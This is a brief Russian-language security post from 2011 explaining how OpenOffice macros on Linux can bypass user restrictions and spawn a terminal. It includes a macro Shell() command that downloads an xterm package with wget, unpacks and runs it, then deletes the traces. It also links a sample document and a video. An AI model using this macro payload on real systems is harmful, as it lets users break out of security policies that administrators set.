20 Ноября, 2011

Использование доверенных приложений (GUI, на примере OpenOffice) для порождения шелла (Linux)

Андрей Комаров
Использование доверенных приложений, имеющих интерфейс, но по виду не имеющих возможностей для взаимодействия с системой (создание, удаление, редактирование, исполнение), может быть очень актуальным на станциях, где права пользователя урезаны политикой безопасности, либо на машине не хватает компонентов, которые можно так или иначе использовать для выполнения своего кода.

Одним из таких примеров может являться использование OpenOffice на ОС Linux, который так же как и Microsoft Office позволяет использовать макросы. Зачастую, Администраторы забывают о такой угрозе, что порождает множество проблем (зависит от выставленного значения Tools/Options/Openoffice.org/Security/Macros/SecurityLevel OpenOffice).

Пример: Установка эмулятора терминала для X Window System:

Shell("sh -c 'dir=`mktemp -d`; cd $dir; wget
http://mirror.pnl.gov/ubuntu//pool/main/x/xterm/xterm_256-1ubuntu1_i386.deb ;
ar x xterm_256-1ubuntu1_i386.deb; tar xzf data.tar.gz; cd /;
$dir/usr/bin/xterm & rm -rf $dir'", 1)
Пример документа: http://data.zx2c4.com/openoffice-execute/terminal-spawn.odt
Видео: http://data.zx2c4.com/openoffice-execute/method-1.ogv